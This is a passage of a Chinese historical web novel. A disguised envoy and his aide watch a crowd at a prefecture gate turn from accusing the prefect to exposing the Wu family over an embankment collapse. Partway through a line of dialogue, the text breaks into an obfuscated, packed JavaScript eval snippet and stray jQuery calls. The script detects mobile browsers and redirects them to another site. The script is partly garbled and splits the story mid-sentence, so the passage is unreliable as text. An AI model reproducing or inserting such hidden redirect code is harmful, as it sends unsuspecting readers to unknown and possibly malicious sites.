其实，此时小院门口尚有不少百姓，萧举年并不知道谁是吴家的人，他只是这么一喊，配合秦秋适才的喊冤，吴家的人自己就慌了，吓得仓皇而逃，这一逃，人群中就有人醒过神来，跟着拿人喊打。 “不错啊！有两下子！”丁松击掌轻叹，他扭过头去，本以为能在他家大人的眼神里寻到一丝赞赏，不料却迎来一声轻斥“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030154|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还愣着做什么？跟上那几个人！此事果然有蹊跷！” 丁松忙冲另外两个随从打了个眼色，两人随即悄无声息地隐没在人群中。 秦怀瑾不置可否地撇了丁松一眼，才转身朝相反的方向走了。 丁松忙跟上，嘴上却是不饶人，道：“郎君不必那般看我，您的安危才是我的头等大事，您若有咱家大小姐那样的身手，属下定是亲自去料理那几个瘪犊子的！” 尽管两人身旁已陆陆续续地有行人擦肩而过，街上人声亦逐渐嘈杂，丁松仍是耳尖地听到他家郎君“哼”了一声。 哼也没用啊，若是亮明身份，明察此事，他家大人既是陛下钦点的黜陟使，又是秦将军的同胞兄长，自是无人敢对他们一行下黑手，莫说陛下不会轻饶，便是他家大小姐的凉州铁骑都够让人闻风丧胆了，可他家大人非要暗访，说是数十人命背后，定有更大阴谋！话都到这份上了，丁松哪敢掉以轻心啊！ 再说衙门口的百姓，先是被秦秋的击鼓鸣冤分散了目光，又被小院门口的动静绕得一愣一愣的，等把视线从那几个落荒而逃的人影中收回时，他们方才辞言义正要声讨的刘刺史已在官兵的簇拥下站在众人面前了。 没了吴家的混子在人群中摇旗呐喊，众人的气势瞬间减了大半，方才还喊着“刘刺史偿命”的人，此刻都掩了口收了声。 昨日刘从俭吊死问生，是平易和煦的大老爷，此刻摆了官威，脸上尽是威严之色，堵在门口的百姓，一个个你捅咕我一下、我扒拉你一手，半天问不出一句话来。 他们不说，刘从俭却是要开口的：“自先祖获封朗州，至某已历四世，自某承袭刺史一职，不敢称爱民如子，但十数年来亦是兢兢业业，上思不负皇恩，下念不弃黎民，十数年来，不敢说朗州至清，但绝非至浊，不承想，某虽不负百姓，百姓却污某至此！” 刘从俭的话铿锵落地，百姓不禁想起数十年间，朗州皆是奉行朝廷法令，从未有私加赋税之举，不少老者还念起老刺史生前施米赠银之恩，一时都面露愧色。 “元宵河堤坍塌一事，于某而言，乃是石破天惊之大案，星夜前来，所图只为查明真相，还死者以公道、给生者以慰藉，绝非尔等方才所言，为行心虚灭口之实！” “至于监修一事，是否有人贪墨，某之职责，亦是将涉事之徒缉拿下狱，以慰生灵！方才是何人说本刺史贪墨河堤监修银两，尽管站出来，与本官当面对峙，苍天为证，本官绝不动刑，你我便在这朗朗乾坤之下，当面锣对面鼓地掰扯清楚！” 刺史话落，人群中便传来低语。 “是谁说刺史贪墨来着？不是你家亲戚吗？” “胡说！哪里是我家的，不是你家的吗？” “不是王家的吗？我看他从王家祭棚里出来的！” “胡扯！我们老王家不认识他，我是看他们跟张家的在一块，我才跟着来的！” “没有这回事，我们老张家没有这个亲戚！” 人群中又有片刻的混乱，众人你看看我，我看看你，才发觉闹得最凶的几人不见了！ “大人！民妇见过那几个人！他们是吴家的人！就是吴家的人贪墨了河堤银两，还害死了——我的夫婿啊！”秦秋两手还拎着鼓锤，坐在衙门口的堂鼓下，席地盘腿，嚎啕大喊。 百姓如梦方醒，什么！是吴家的人贼喊捉贼，还鼓动他们去围攻刘刺史！这还了得！又是一阵不小的骚动。 还演上瘾了是吧！萧举年站在刘从俭身侧，一张俊脸此刻比上好的松烟墨还要黑。 刘从俭淡淡地扫了他一眼，才对着满脸都是劫后余生之喜色的郡守吩咐：“走吧，将击鼓之人带进去，尔等随我去升堂审案！”